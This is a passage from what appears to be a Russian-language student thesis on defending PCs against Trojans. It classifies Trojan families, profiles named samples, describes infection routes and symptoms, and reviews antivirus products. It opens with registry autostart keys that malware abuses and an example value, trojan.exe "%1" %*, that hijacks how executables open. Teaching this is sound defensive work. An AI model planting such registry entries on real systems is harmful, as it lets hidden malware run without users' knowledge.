9. Registry Shell Open HKEY_CLASSES_ROOT\exefile\shell\open\command HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command

По умолчанию значение данных ключей”%1″%*. Туда можно поместить имя любого выполняемого файла для запуска его при открытии бинарным файлом. К примеру, вот так: trojan. exe “%1″%*.

10. Метод запуска приложений при обнаружении ICQ соединения с Интернет Эти ключи включают в себя все файлы, которые будут выполнены при обнаружении ICQ соединения с Интернетом. Это удобно для запуска некоторых приложений. Но и злоумышленники могут им воспользоваться. HKEY_CURRENT_USER\SOFTWARE\Mirabilis\ICQ\Agent\Apps HKEY_LOCAL_MACHINE\SOFTWARE\Mirabilis\ICQ\Agent\Apps

11. Компоненты ActiveX. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components Установленные в системе компоненты ActiveX.

Троян, маскируясь под компонент, добивается своего запуска при каждой инициализации Windows. Все эти методы в принципе уже хорошо изучены и, успешно применяются для борьбы с троянами.

2.1.1 Постановка задачи, актуальность проблемы защиты информации от троянских программ

Для того, чтобы организовать защиту локальной сети, необходимо определить, от чего эту сеть защищать.

Рассмотрим наиболее распространённые вредоносные программы.

Классические вирусы - разновидность вредоносных программ, отличительной особенностью которых является способность к размножению (саморепликации). В дополнение к этому они могут повреждать или полностью уничтожать данные, подконтрольные пользователю, от имени которого была запущена заражённая программа.

Троянская программа - вид программной закладки, реализующая полезную функцию и содержащая дополнительные скрытые функции, которые тайно используют законные полномочия инициирующего процесса в ущерб безопасности (и даже могут привести к краху операционной системы).

Сетевой червь - разновидность самовоспроизводящихся компьютерных программ, распространяющихся в локальных и глобальных компьютерных сетях. В отличие от компьютерных вирусов червь является самостоятельной программой, обладающая свойством самостоятельного распространения в автоматизированной системе и заражающая ее элементы, функциональные сегменты либо систему в целом.

Хакерские утилиты и прочие вредоносные программы: Constructor - конструкторы вирусов и троянских программ, DoS, DDoS - вредоносная программа, предназначенная для проведения атаки типа "Denial of Service" ("Отказ в обслуживании") на удаленный сервер, Exploit, HackTool - взломщики удаленных компьютеров, FileCryptor, PolyCryptor - скрытие от антивирусных программ, Flooder - "замусоривание" сети, Nuker - фатальные сетевые атаки, PolyEngine - полиморфные генераторы.

К троянским программам относят программы, осуществляющие различные несанкционированные пользователем действия: сбор информации и передача ее злоумышленнику, ее разрушение или злонамеренная модификация, нарушение работоспособности компьютера, использование ресурсов компьютера в злоумышленных целях.

Отдельные категории троянских программ наносят ущерб удаленным компьютерам и сетям, не нарушая работоспособности зараженного компьютера.

Сегодня вряд ли найдется пользователь персонального компьютера, который не слышал бы о существовании троянских программ. Многие относят их к вирусам, но это слишком упрощенный и неточный подход. Главное, что роднит троянцев с вирусами, - то, что и те и другие могут быть отнесены к категории вредоносных программ. Впрочем, вредоносность здесь следует понимать в широком смысле - пользователь может и не ощущать явного вреда от этих программ, но они так или иначе, но отрицательно влияют на работу системы. Такие программы устанавливаются либо под видом полезных продуктов подобно мифологическому троянскому коню, либо вообще незаметно для пользователя.

Принципиальное различие троянских программ и вирусов состоит в том, что вирус представляет собой самостоятельно размножающуюся программу, тогда как троянец не имеет возможности самостоятельного распространения. Однако в настоящее время довольно часто встречаются гибриды - вирусы (в основном e-mail и сетевые черви), вместе с которыми распространяются троянские программы.

Что будет делать подобная программа, внедрившись в компьютер, известно одному только ее создателю и зависит лишь от его фантазии и от стоящих перед ним целей.

Даже если на компьютере не хранятся никакие важные данные и пользователь не применяет популярные службы, требующие ввода паролей, то троянские программы все равно способны доставить неприятности. Речь идет о замедлении работы системы либо вообще о ее крахе, о непроизвольном расходовании Интернет - трафика, причем нередко в очень больших объемах.

Авторы троянских программ вносят в свои творения всевозможные алгоритмы, позволяющие обойти антивирусы и межсетевые экраны. Многие брандмауэры хранят в системном реестре или в собственном файле конфигурации записи о том, какая программа может беспрепятственно получать доступ к Интернету. Часто эти записи не подвергаются даже элементарному шифрованию и проверке на наличие в них несанкционированных изменений. Пользуясь этим, троянская программа может внести запись о себе в раздел разрешенных, а затем, незаметно для пользователя, делать все, что пожелает. Аналогично обстоит дело и с некоторыми антивирусами, которые позволяют настраивать запрещенные для сканирования файлы и каталоги - прописавшись туда, троянец не будет обнаружен. К тому же антивирусы обычно хорошо обнаруживают уже известные троянские программы, тогда как написанный для атаки на конкретный компьютер или просто очень новый троянец останется незамеченным.

Поэтому одним из наиболее опасных вредоносных программ являются программные закладки, в связи с этим в данной работе подробно рассматриваются способы защиты персональных компьютеров от троянских программ.

2.2 Классификация троянских программ

Троянские программы различаются между собой по тем действиям, которые они производят на зараженном компьютере.

Backdoor - троянские утилиты удаленного администрирования

Троянские программы этого класса являются утилитами удаленного администрирования компьютеров в сети. По своей функциональности они во многом напоминают различные системы администрирования, разрабатываемые и распространяемые фирмами-производителями программных продуктов.

Единственная особенность этих программ заставляет классифицировать их как вредные троянские программы: отсутствие предупреждения об инсталляции и запуске. При запуске "троянец" устанавливает себя в системе и затем следит за ней, при этом пользователю не выдается никаких сообщений о действиях троянца в системе. Более того, ссылка на "троянца" может отсутствовать в списке активных приложений. В результате "пользователь" этой троянской программы может и не знать о ее присутствии в системе, в то время как его компьютер открыт для удаленного управления.

Утилиты скрытого управления позволяют делать с компьютером все, что в них заложил автор: принимать или отсылать файлы, запускать и уничтожать их, выводить сообщения, стирать информацию, перезагружать компьютер и т.д. В результате эти троянцы могут быть использованы для обнаружения и передачи конфиденциальной информации, для запуска вирусов, уничтожения данных и т.п. - пораженные компьютеры оказываются открытыми для злоумышленных действий хакеров.

Таким образом, троянские программы данного типа являются одним из самых опасных видов вредоносного программного обеспечения, поскольку в них заложена возможность самых разнообразных злоумышленных действий, присущих другим видам троянских программ.

Отдельно следует отметить группу бэкдоров, способных распространяться по сети и внедряться в другие компьютеры, как это делают компьютерные черви. Отличает такие "троянцы" от червей тот факт, что они распространяются по сети не самопроизвольно (как черви), а только по специальной команде "хозяина", управляющего данной копией троянской программы.

Trojan-PSW - воровство паролей

Данное семейство объединяет троянские программы, "ворующие" различную информацию с зараженного компьютера, обычно - системные пароли (PSW - Password-Stealing-Ware). При запуске PSW-троянцы ищут сиcтемные файлы, хранящие различную конфиденциальную информацию (обычно номера телефонов и пароли доступа к интернету) и отсылают ее по указанному в коде "троянца" электронному адресу или адресам.

Существуют PSW-троянцы, которые сообщают и другую информацию о зараженном компьютере, например, информацию о системе (размер памяти и дискового пространства, версия операционной системы), тип используемого почтового клиента, IP-адрес и т.п. Некоторые троянцы данного типа "воруют" регистрационную информацию к различному программному обеспечению, коды доступа к сетевым играм и прочее.

Trojan-AOL - семейство троянских программ, "ворующих" коды доступа к сети AOL (America Online). Выделены в особую группу по причине своей многочисленности.

Trojan-Clicker - интернет-кликеры

Семейство троянских программ, основная функция которых - организация несанкционированных обращений к интернет-ресурсам (обычно к веб-страницам). Достигается это либо посылкой соответствующих команд браузеру, либо заменой системных файлов, в которых указаны "стандартные" адреса интернет-ресурсов (например, файл hosts в MS Windows).

У злоумышленника могут быть следующие цели для подобных действий:

увеличение посещаемости каких-либо сайтов с целью увеличения показов рекламы;

организация DoS-атаки (Denial of Service) на какой-либо сервер;

привлечение потенциальных жертв для заражения вирусами или троянскими программами.

Trojan-Downloader - доставка прочих вредоносных программ

Троянские программы этого класса предназначены для загрузки и установки на компьютер-жертву новых версий вредоносных программ, установки "троянцев" или рекламных систем. Загруженные из интернета программы затем либо запускаются на выполнение, либо регистрируются "троянцем" на автозагрузку в соответствии с возможностями операционной системы. Данные действия при этом происходят без ведома пользователя.

Информация об именах и расположении загружаемых программ содержится в коде и данных троянца или скачивается троянцем с "управляющего" интернет-ресурса (обычно с веб-страницы).

Trojan-Dropper - инсталляторы прочих вредоносных программ

Троянские программы этого класса написаны в целях скрытной инсталляции других программ и практически всегда используются для "подсовывания" на компьютер-жертву вирусов или других троянских программ.

Данные троянцы обычно без каких-либо сообщений (либо с ложными сообщениями об ошибке в архиве или неверной версии операционной системы) сбрасывают на диск в какой-либо каталог (в корень диска C:, во временный каталог, в каталоги Windows) другие файлы и запускают их на выполнение.

Основной код
 Файл 1
 Файл 2
...

Обычно структура таких программ следующая:

"Основной код" выделяет из своего файла остальные компоненты (файл 1, файл 2,. .), записывает их на диск и открывает их (запускает на выполнение).

Обычно один (или более) компонентов являются троянскими программами, и как минимум один компонент является "обманкой": программой-шуткой, игрой, картинкой или чем-то подобным. "Обманка" должна отвлечь внимание пользователя и/или продемонстрировать то, что запускаемый файл действительно делает что-то "полезное", в то время как троянская компонента инсталлируется в систему.

В результате использования программ данного класса хакеры достигают двух целей:

скрытная инсталляция троянских программ и/или вирусов;

защита от антивирусных программ, поскольку не все из них в состоянии проверить все компоненты внутри файлов этого типа.

Trojan-Proxy - троянские прокси-сервера

Семейство троянских программ, скрытно осуществляющих анонимный доступ к различным интернет-ресурсам. Обычно используются для рассылки спама.

Trojan-Spy - шпионские программы

Данные троянцы осуществляют электронный шпионаж за пользователем зараженного компьютера: вводимая с клавиатуры информация, снимки экрана, список активных приложений и действия пользователя с ними сохраняются в какой-либо файл на диске и периодически отправляются злоумышленнику.

Троянские программы этого типа часто используются для кражи информации пользователей различных систем онлайновых платежей и банковских систем.

Trojan - прочие троянские программы

К данным троянцам относятся те из них, которые осуществляют прочие действия, попадающие под определение троянских программ, т.е. разрушение или злонамеренная модификация данных, нарушение работоспособности компьютера и прочее.

В данной категории также присутствуют "многоцелевые" троянские программы, например, те из них, которые одновременно шпионят за пользователем и предоставляют proxy-сервис удаленному злоумышленнику.

Rootkit - сокрытие присутствия в операционной системе

Понятие rootkit пришло из UNIX. Первоначально это понятие использовалось для обозначения набора инструментов, применяемых для получения прав root.

Так как инструменты типа rootkit на сегодняшний день "прижились" и на других ОС (в том числе, на Windows), то следует признать подобное определение rootkit морально устаревшим и не отвечающим реальному положению дел.

Таким образом, rootkit - программный код или техника, направленная на сокрытие присутствия в системе заданных объектов (процессов, файлов, ключей реестра и т.д.).

Для поведения Rootkit в классификации "Лаборатории Касперского" действуют правила поглощения: Rootkit - самое младшее поведение среди вредоносных программ. То есть, если Rootkit-программа имеет троянскую составляющую, то она детектируется как Trojan.

ArcBomb - "бомбы" в архивах

Представляют собой архивы, специально оформленные таким образом, чтобы вызывать нештатное поведение архиваторов при попытке разархивировать данные - зависание или существенное замедление работы компьютера или заполнение диска большим количеством "пустых" данных. Особенно опасны "архивные бомбы" для файловых и почтовых серверов, если на сервере используется какая-либо система автоматической обработки входящей информации - "архивная бомба" может просто остановить работу сервера.

Встречаются три типа подобных "бомб": некорректный заголовок архива, повторяющиеся данные и одинаковые файлы в архиве.

Некорректный заголовок архива или испорченные данные в архиве могут привести к сбою в работе конкретного архиватора или алгоритма разархивирования при разборе содержимого архива.

Значительных размеров файл, содержащий повторяющиеся данные, позволяет заархивировать такой файл в архив небольшого размера (например, 5ГБ данных упаковываются в 200КБ RAR или в 480КБ ZIP-архив).

Огромное количество одинаковых файлов в архиве также практически не сказывается на размере архива при использовании специальных методов (например, существуют приемы упаковки 10100 одинаковых файлов в 30КБ RAR или 230КБ ZIP-архив).

Trojan-Notifier - оповещение об успешной атаке

Троянцы данного типа предназначены для сообщения своему "хозяину" о зараженном компьютере. При этом на адрес "хозяина" отправляется информация о компьютере, например, IP-адрес компьютера, номер открытого порта, адрес электронной почты и т.п. Отсылка осуществляется различными способами: электронным письмом, специально оформленным обращением к веб-странице "хозяина", ICQ-сообщением.

Данные троянские программы используются в многокомпонентных троянских наборах для извещения своего "хозяина" об успешной инсталляции троянских компонент в атакуемую систему.

2.3 Краткая история возникновения троянских программ

1998-й год можно смело назвать годом троянцев. Конечно, атаки такого рода происходили и раньше, техника небольшой модификации кода, приводящая к возможности захвата хоста, была очень популярна в unix-системах, но это никогда еще не было таким массовым явлением. Год начался со скромных поделок, представляющих собой обычные пакетные файлы DOS, сжатые с помощью в WinZip в самораспаковывающиеся архивы. Иногда фантазии авторов хватало на преобразование bat-файлов в com, внутри же, как правило, были всевозможные комбинации из деструктивных команд. Чуть позже были освоены конструкции, включающие в себя программы типа pwlview, предназначенные для извлечения из системных файлов имен и паролей для доступа к Internet, а также средства для отправки полученных результатов на некоторый адрес. Разумеется, чтобы заставить пользователя запустить это изделие, придумывались всевозможные приманки. Почетные места в этом ряду занимают "крак интернета", позволяющий получить заветный бесплатный доступ у любого провайдера, всевозможные 3dfx-эмуляторы и icq-ускорители, а также личные письма от компании Microsoft, в знак большой признательности присылающей лично вам последние заплатки, исправляющие очень опасную брешь в системе.

Однако несомненным событием года стало появление BackOrifice. Эта программа стала основоположником нового поколения троянцев, количество которых на данный момент исчисляется десятками. Фактически она представляет собой средство удаленного администрирования и состоит из двух частей - сервера и клиента. До сих пор все вполне прилично и ничем не отличается от любого средства удаленного доступа - того же PCAnywhere. Однако что принципиально отличается - так это поведение сервера, который после запуска тихо добавляет себя в раздел реестра Windows, отвечающий за автоматическую загрузку приложений при старте системы, и начинает ждать соединения на определенном порту. Соединившись с сервером с помощью отдельного клиентского приложения, с серверным компьютером можно делать практически все, что угодно - получать список процессов, запускать/удалять процессы, копировать/удалять файлы, каталоги, перенаправлять входящие пакеты на другие адреса, работать с реестром, выводить диалоговые окна, блокировать систему. Одним словом, компьютер оказывается под полным контролем.

Жертвами BackOrifice порой становились не только пользователи, но и целые системы, включающие в том числе и web-серверы. Так, прошлогодний взлом Relcom-Ukraine был осуществлен именно с помощью BackOrifice, внедренного всего лишь на один компьютер в офисе провайдера.

2.3.1 Обзор текущего состояния проблемы

По данным отчета Aladdin Malware Report 2006, уровень активности угроз, содержащихся в веб-контенте, увеличился за прошлый год на 1300%. По мнению авторов отчета, наибольшую опасность представляют шпионские и троянские программы.

В отчете Aladdin отмечается резкое увеличение числа вредоносных программ, "вшитых" в приложения и наносящих значительный ущерб операционной системе.95% новых приложёний, возникших сразу после выявления уязвимости, мгновенно нашли свое применение у разработчиков и распространителей вредоносных приложений, которые якобы позволяют избавиться от программ-шпионов. Многие из таких приложений окончательно выводят систему из строя без возможности восстановления.

Из вышесказанного можно сделать вывод, что из рассмотренных программ наиболее опасными являются троянские программы, поэтому рассмотрим их подробнее.

Рассмотрим также 10 самых опасных троянских программ.

Trojan-Downloader. Win32. Agent. jc - троянский загрузчик

Другие названия: Generic Downloader. p (McAfee), Trojan. DownLoader.1670 (Doctor Web), Troj/Teadoor-A (Sophos), TR/Dldr. Agent. JC (H+BEDV), Trojan. Downloader. Agent. JC (SOFTWIN), Trojan. Downloader. Agent-61 (ClamAV), Trj/Downloader. AMH (Panda)

Троянская программа, скачивающая из Интернет другие (любые, возможно, также троянские) программы и запускающая их незаметно для пользователя. В начале работы пытается выгрузить из памяти все возможные антивирусы и перенести свой исполняемый файл в системный каталог OS Windows.

Trojan. Win32. KillAV. id - троянская программа, выгружающая из памяти различные легальные программы. Является приложением Windows (PE EXE-файл). Имеет размер 3104 байта, упакована при помощи UPX. Размер распакованного файла - около 13 КБ.

Троян Conycspa. AJ предназначен для демонстрации рекламы. Его действие проявляется в том, что он изменяет несколько записей реестра Windows, а также изменяет результаты поиска в Интернете. Благодаря этому троян перенаправляет пользователей на определенные веб-страницы, в основном имеющие отношение к медицине. Также Conycspa. AJ подключается к определенному сайту, с которого загружает различные файлы. Среди них mm 4839. exe, предназначенный для рассылки с компьютеров пользователей спама о лекарствах. Троян также загружает из Интернета разные зараженные файлы, содержащие следующее вредоносное ПО: рекламный код MalwareAlarm, потенциально нежелательные программы DriveCleaner, WinAntivirus 2006 и PsKill. J, троянов Stox. A и Cimuz. EI, а также cookie DriveCleaner и MediaPlex. Также этот опасный троян вносит изменения в папку восстановления файлов за счет создания собственной папки. Следовательно, при попытке операционной системы Windows восстановить поврежденную библиотеку, она заменяется файлами, созданными самим трояном. Так троян защищает внесенные им изменения и предотвращает их удаление операционной системой.

Trojan-Spy. Win32. Briss. g - программа-шпион

Другие названия: TrojanSpy. Win32. Briss. g ("Лаборатория Касперского"), Keylog-Briss (McAfee), Trojan. Briss (Doctor Web), Troj/Briss-A (Sophos), PWS: Win32/Briss (RAV), DR/Bridge. A.2 (H+BEDV), Win32: Trojan-gen. (ALWIL), PSW. Briss. C (Grisoft), Trojan. PWS. Briss. A (SOFTWIN), Trojan. WinFavorites. Bridge (ClamAV), Spyware/Bridge (Panda), Win32/Spy. Briss. G (Eset)

Во время активной сессии Internet может показывать рекламные сообщения, перехватывать клавиатурный ввод пользователя, а также следить за историей посещения веб-сайтов. Собранную информацию может отсылать на свой сайт.

Каждый час скачивает для себя с www2. flingstone.com обновления. При этом отображает ход этого процесса в файле bridge. log.

Trojan-PSW. Win32. Hooker - троянская программа, относящаяся к семейству троянцев, ворующих пароли пользователя. Представляет собой динамически подключаемую библиотеку (DLL), содержащую набор функций предназначенных для мониторинга информации вводимой с клавиатуры. Библиотека разработана в среде Visual Studio с использованием языка программирования С++.

Trojan-PSW. Win32. Hooker.24. h ("Лаборатория Касперского") также известен как: PWS-Hooker. dll (McAfee), Trojan Horse (Symantec), Trojan. PWS. Hooker.24 (Doctor Web), Troj/PWS-AV (Sophos), Win32/Badtrans. B@mm (RAV), WORM_BADTRANS. B (Trend Micro), Worm/BadTrans. B2 (H+BEDV), Win32: Trojan-gen. (ALWIL), I-Worm/BadTrans (Grisoft), Trojan. PSW. Hooker.2. C (SOFTWIN), Worm. BadTrans. B2 (ClamAV), Trj/PSW. Hooker.24. h (Panda), Win32/Badtrans.29020. A (Eset)

Данная библиотека может быть использована в составе других хакерских модулей. Она предоставляет набор функций для слежения за символами, вводимыми с клавиатуры.

Текст этого Трояна - Приложение 2.

Trojan-Dropper. Win32. Small. hq - троянский контейнер

Другие названия: Trojan-Dropper. Win32. Small. hq ("Лаборатория Касперского"), StartPage-DU (McAfee), Trojan. DownLoader.365 (Doctor Web), TROJ_STARTPAG. DU (Trend Micro), TR/Dldr. Delf. CB.3 (H+BEDV), Win32: Trojano-198 (ALWIL), Startpage.7. H (Grisoft), Trj/StartPage. FH (Panda)

Программа создана для скрытной установки в систему других троянских программ. Основной файл является приложением Windows (PE EXE-файл), имеет размер около 25 КБ.

Программа при запуске скрытно устанавливает в систему другую вредоносную программу, содержащуюся внутри ее исполняемого файла, после чего данный файл запускается на исполнение.

Антивирус Касперского детектирует создаваемый файл как Trojan. Win32. StartPage. is. Также Small. hq пытается скачать и запустить другого троянца с адреса http://81.211.105. xx/, после чего оригинальный запускаемый файл удаляется.

Trojan. Win32. Qhost. dg - троянская программа

Другие названия: Trojan. Win32. Qhost. qs ("Лаборатория Касперского"), Qhosts. apd (McAfee), Trojan. Qhosts. B (SOFTWIN), Trojan. Qhost. A (ClamAV), Trj/Qhost. gen (Panda), Win32/Qhosts (Eset)

Троянская программа представляет собой модифицированный файл ОС Windows%System%\drivers\etc\hosts, который используется для перевода доменных имен (DNS) в IP-адреса. Файл модифицирован таким образом, чтобы сделать недоступным пользователю сервера различных антивирусных компаний, таким образом, что все запросы к определённым серверам будут заблокированы.

Backdoor. Rbot. gen - троянская программа удаленного администрированияДругие названия: Backdoor. Rbot. gen ("Лаборатория Касперского"), IRC-Sdbot (McAfee), W32. Spybot. Worm (Symantec), Win32. HLLW. MyBot (Doctor Web), W32/Rbot-BY (Sophos), Backdoor: Win32/Rbot (RAV), Worm/Sdbot.39936. B (H+BEDV), Win32: SdBot-194-B (ALWIL), IRC/BackDoor. SdBot.28. F (Grisoft), Backdoor. SDBot. Gen (SOFTWIN)

Backdoor. Rbot - семейство троянских программ для ОС Windows, предоставляющих злоумышленнику удалённый доступ к заражённой машине.

Trojan. BAT. AnitV. c - троянская программа

Другие названия: rojan. BAT. AnitV. c ("Лаборатория Касперского"), Bat/dt66 (McAfee), BAT. Trojan (Symantec), BAT/AntiV. C* (RAV), BAT/DelTree@troj (FRISK), BV: Malware (ALWIL), BAT. AnitV. C (SOFTWIN), Trojan. Bat. AnitV. C (ClamAV), Trj/HaltWin (Panda), BAT/AntiV. C (Eset)

Троянская программа, выполняющая на компьютере пользователя определенные действия деструктивного характера. Является пакетным файлом командного интерпретатора (BAT-файл). Имеет размер 2058 байт.

При запуске троян блокирует работу клавиатуры и мыши.

Также он удаляет определённые каталоги.

Trojan. Win32. KillFiles. ki - троянская программа.

Троянская программа, выполняющая деструктивные действия на компьютере пользователя. Является приложением Windows (PE EXE-файл). Размер зараженных файлов варьируется в пределах от 28 до 255000 КБ. При этом все модификации данного троянца выполняют одни и те же деструктивные функции. Большие по размеру файлы троянца содержат в своем коде мусор для маскировки.

После запуска вирус извлекает из своего тела BMP-файл и отображает его на экране зараженного компьютера. В различных версиях троянской программы картинки могут отличаться. Троянец заражает пользовательские файлы, заменяя их изображением BMP. Выполняемые вирусом действия приводят к неработоспособности операционной системы.

2.4 Методы проникновения троянских программ

Троянские программы распространяются множеством способов. Рассмотрим некоторые из них:

Друзья. Наиболее популярным способом распространения троянских программ является передача информации между друзьями, при этом пользователи не догадываются об опасности программ. Доверять программам, полученным от друзей, можно только в том случае, если пользователь уверен в их сознательном отношении к безопасности своего компьютера.

Сообщения Usenet. Usenet - компьютерная сеть, используемая для общения и публикации файлов. Многие пользователи запустят программу злоумышленника, просто послав сообщение в группу новостей Usenet. Иногда сообщение Usenet содержит ссылку на Web-страницу, с которой можно скачать программу, что даёт злоумышленнику дополнительное преимущество, так как он может видеть IP-адрес любого пользователя, загрузившего троянскую программу, что в дальнейшем позволит быстрее найти взломанный компьютер.

Исправление недостатков существующих программ. Когда в программе, например, на FTP-сервере, обнаруживается ошибка, в различные группы новостей и списки рассылки поступает множество сообщений по данной тематике. Злоумышленники могут сообщить об исправлении недостатка и предложить собственное решение, которое на самом деле не устраняет проблему или даже пробивает в системе новую брешь. Даже эксперты, которые видят, что ошибка не исправлена, могут предположить, что приславший решение злоумышленник, просто недостаточно хороший программист, и не обратить внимание на присутствие негативного эффекта запуска программы.

Реклама по электронной почте. Некоторые злоумышленники отправляют троянские программы большому количеству адресатов, надеясь на то, что хоть кто-нибудь запустит программу. Многие пользователи обычно из тех, которые не задумываясь инсталлируют и запустят или, по крайней мере, протестируют все, что покажется им интересным.

Проверки системы безопасности. Как и в случае ложного исправления недостатков программ, злоумышленники часто рассылают троянские программы, которые, как они заявляют, помогут найти уязвимые места системы по отношению к самым последним обнаруженным недостаткам. В действительности, предоставленная программа создаёт новую брешь в системе защиты. Нередко, злоумышленник указывает, что для правильной проверки уязвимых мест программа должна быть запущена с правами root.

Программы взлома системы безопасности. После обнаружения нового уязвимого места определённой программы, часто на сайтах можно получить программу атаки, которая позволяет взломать компьютер с помощью обнаруженного недостатка. Эти программы могут применять системные администраторы, чтобы проверить справедливость утверждения, но чаще они используются злоумышленниками-новичками, которые не в состоянии самостоятельно создать собственные программы атаки. Часто злоумышленник дает ссылку на программный код, как бы предназначенный для выполнения удаленной атаки. На самом деле этот код взламывает компьютер, с которого запускается данная программа атаки. На такую уловку обычно попадаются только те пользователи, которые хотят получить несанкционированный доступ к чужим компьютерам.

2.4.1 Обоснование выбора данного типа атак

Некоторые троянские программы просто разрушительны; они предназначены для уничтожения систем или данных. Одним из примеров чисто разрушительной программы-троянца была программа для записи CD-ROM, доступная в Internet пару лет назад и обещавшая огромные функциональные возможности. Она будто бы конвертировала стандартный читающий привод компакт-дисков (используемых для установки программного обеспечения или проигрывания музыки) в привод, который может записывать компакт-диски - и все это лишь посредством установки предлагаемого бесплатного обновления программы! Согласно файлу README, распространявшемуся с таким, очевидно фантастическим, инструментом, можно было создавать собственные музыкальные компакт-диски или делать резервное копирование системы при помощи всего лишь бесплатного обновления программы. В этой поразительной сделке имелись всего две подозрительные вещи. Во-первых, такое просто физически невозможно сделать в программе. Во-вторых, этот инструмент был троянским конем, который стирал все содержимое жестких дисков пользователей. Многие люди загрузили его и в результате потеряли все свои данные.

Некоторые троянцы просто разрушают систему, другие позволяют атакующему похищать данные или даже управлять системами дистанционно. Опасность троянских программ заключается в сборе чужих персональных данных (паролей, кодов, номеров счетов и т.п.) и отправке их своему автору, отключении некоторые функции системы безопасности, маскировке под другие процессы. Некоторые троянские программы могут самостоятельно скачивать из Internet дополнительные программы (например, другие троянские программы), использовании для связи с злоумышленником порты, открытые другими приложениями. При обнаружении доступа в Интернет серверная часть трояна сообщает клиентской части IP адрес пораженного компьютера и порт для прослушивания.

Банковские трояны, предназначенные для кражи финансовой информации, стремительно развиваются. Один из последних экземпляров, троян StealAll. A, предназначен для кражи информации, вводимой пользователями в онлайновых формах.

Исходя из этого можно сделать вывод, что троянские программы имеют множество различных модификаций и опасны как для компьютеров обычных пользователей, так и для компьютерных сетей предприятий.

2.4.2 Способы обнаружения троянских программ без использования специальных средств

Троянские программы установлены на огромном количестве компьютеров, причем работающие на них пользователи даже не догадываются об этом. Большинство троянских программ не афиширует своего присутствия на компьютере пользователя, однако предположить, что компьютер заражен, можно по ряду косвенных признаков:

отказ работы одной либо нескольких программ, особенно антивируса и брандмауэра;

появление всплывающих окон, содержащих рекламу;

периодическое появление окна dial-up-соединения с попытками соединиться с провайдером либо вообще с неизвестным номером;

при отсутствии активности пользователя на подключенном к Интернету компьютере (пользователь ничего не скачивает, программы общений неактивны и т.д.) индикаторы подключения к сети продолжают показывать обмен информацией;

стартовая страница браузера постоянно меняется, а страница, указанная в роли стартовой, не сохраняется;

при попытке посетить сайты, куда раньше пользователь легко заходил (например, в поисковые системы), компьютер переадресовывает пользователя на незнакомый сайт, часто содержащий порнографическую либо рекламную информацию.

Если троян не умеет скрывать свой процесс, то он виден через стандартный Диспетчер Задач.

Чаще всего цель трояна - через сеть переслать какую-либо ценную информацию, поэтому необходимо отслеживать подозрительные сетевые соединения.

Обнаружить троянскую программу можно и с помощью программных и аппаратных средств.

2.4.3 Предлагаемые способы решения задачи с элементами новизны

Атаки на компьютеры под управлением Windows с использованием троянов, задачей которых является похищение и передача злоумышленнику различной ключевой информации, содержащейся на компьютере (пароли доступа к Интернет, пользовательские пароли и идентификаторы) в последнее время стали использоваться все чаще и чаще.

Одним из способов избежать заражения такими троянами является использование антивирусных программ, проверяющих всю почту или централизованно на почтовых серверах, или локально на рабочих станциях. Однако, эти программы не дают 100% гарантии того, что вирус будет обезврежен, поскольку новые вирусы и способы их внедрения развиваются с опережением антивирусного программного обеспечения.

Safe'n'Sec Pro New - комплексная система защиты компьютера: обнаружение новых вирусов, защита от червей, блокирование троянских программ, шпионского программного обеспечения, предотвращение хакерских атак.

Anti Trojan Elite 3.6.5 - Программа для очистки компьютера от таких вредоносных файлов, как трояны, кейлогеры и пр. Anti Trojan Elite сканирует не только жесткий диск (включая архивы), но и смотрит на то, какие процессы запущены. Также она располагает менеджером сетевых процессов, при помощи которого можно определить, где запущен нежелательный процесс. Кроме этого, вы можете просмотреть ключи и значения реестра и удалить подозрительные, починить Internet Explorer, оптимизировать работу Windows вообще. Программа имеет опцию отката.

Программа для удаления и защиты от троянских программ - Trojan Remover 6.5.4. С помощью данной программы выполняется проверка всех системных файлов, включая и реестр операционной системы. При обнаружении трояна или нераспознанной программы Trojan Remover выдает предупреждение с указанием места расположения файла и его имени, предлагая при этом либо удалить ссылку из системного файла или переименовать найденный файл. Более подробную информацию о найденных троянах можно получить из встроенной базы данных.

Также для защиты от троянских программ можно использовать популярные программы, которые обеспечивают комплексную антивирусную защиту персонального компьютера: "Антивирус Касперского Personal", Dr. Web для Windows, Norton AntiVirus, avast! Antivirus, McAfee VirusScan Professional, Panda Antivirus Titanium, и др.

Антивирус Касперского Personal Pro обеспечивает полномасштабную защиту всех приложений и содержит новые уникальные компоненты и технологии. Обеспечивает защиту от вирусов, вредоносных программ как в файлах на локальном компьютере, так и в электронной почте.

Антивирус Dr. Web для Windows - чрезвычайно компактный и быстрый антивирус для персональных компьютеров, обеспечивает многоуровневую защиту системной памяти, файловой системы и всех сменных носителей от всех известных типов вирусов, троянских программ, шпионского и рекламного программного обеспечения, платных программ дозвона, хакерских утилит и программ-шуток. Компоненты Dr. Web позволяют в реальном времени обнаружить и пресечь попытки проникновения на компьютер вредоносных программ из любых внешних источников.

Разработанная компанией Symantec программа Norton AntiVirus 2006 является наиболее популярным антивирусным средством в мире. Эта программа автоматически удаляет вирусы, интернет-червей и троянские компоненты, не создавая помех работе пользователя. Norton AntiVirus позволяет противостоять угрозам самых современных вредоносных программ и блокирует работу таких программ еще до того момента, как пользователь перенаправляется на другой сайт.

Avast Antivirus Professional Edition 4.6 763 - это популярная антивирусная программа, защищает от большинства новых видов вирусов и логических бомб, троянских программ и других вредоносных программ. Возможности: резидентный и обычный сканеры, проверка всей входящей и исходящей почты, интеграция в систему, блокирование потенциально опасных скриптов на веб-страницах, работа из командной строки, планировщик, возможность автообновления через Интернет.

Panda Titanium 2006 Antivirus+Antispyware - антивирус, который осуществляет защиту от вирусов, шпионов, мошенников, хакеров, неизвестных угроз. Непрерывно и автоматически защищает от атак всех типов вирусов и программ-шпионов. Он усиливает безопасность вторым уровнем защиты от новых вирусов и вторжений с помощью интеллектуальной технологии защиты TruPrevent™. Он также содержит брандмауэрную технологию, блокирующую атаки хакеров соединения; технологию защиты от онлайн-мошенничеств.

McAfee VirusScan 2006 10 - это антивирусный продуктов для серверов и рабочих станций, реализующий функции сразу трех систем защиты: антивируса, системы предотвращения вторжений и персонального брандмауэра. Объединенная триада технологий безопасности McAfee обеспечивает упреждающую защиту от всего спектра современных угроз, включая вторжения с использованием переполнения буфера и гибридные атаки, и предлагает гибкие механизмы автоматического реагирования для минимизации негативных последствий инцидентов безопасности. Утилита для борьбы с троянами Cleaner 3.5 build 3501 позволяет обнаруживать и удалять трояны с жесткого диска компьютера.

Но для эффективной защиты персонального компьютера использование только указанных средств недостаточно.

 

2.5 Общие сведения об операционных системах

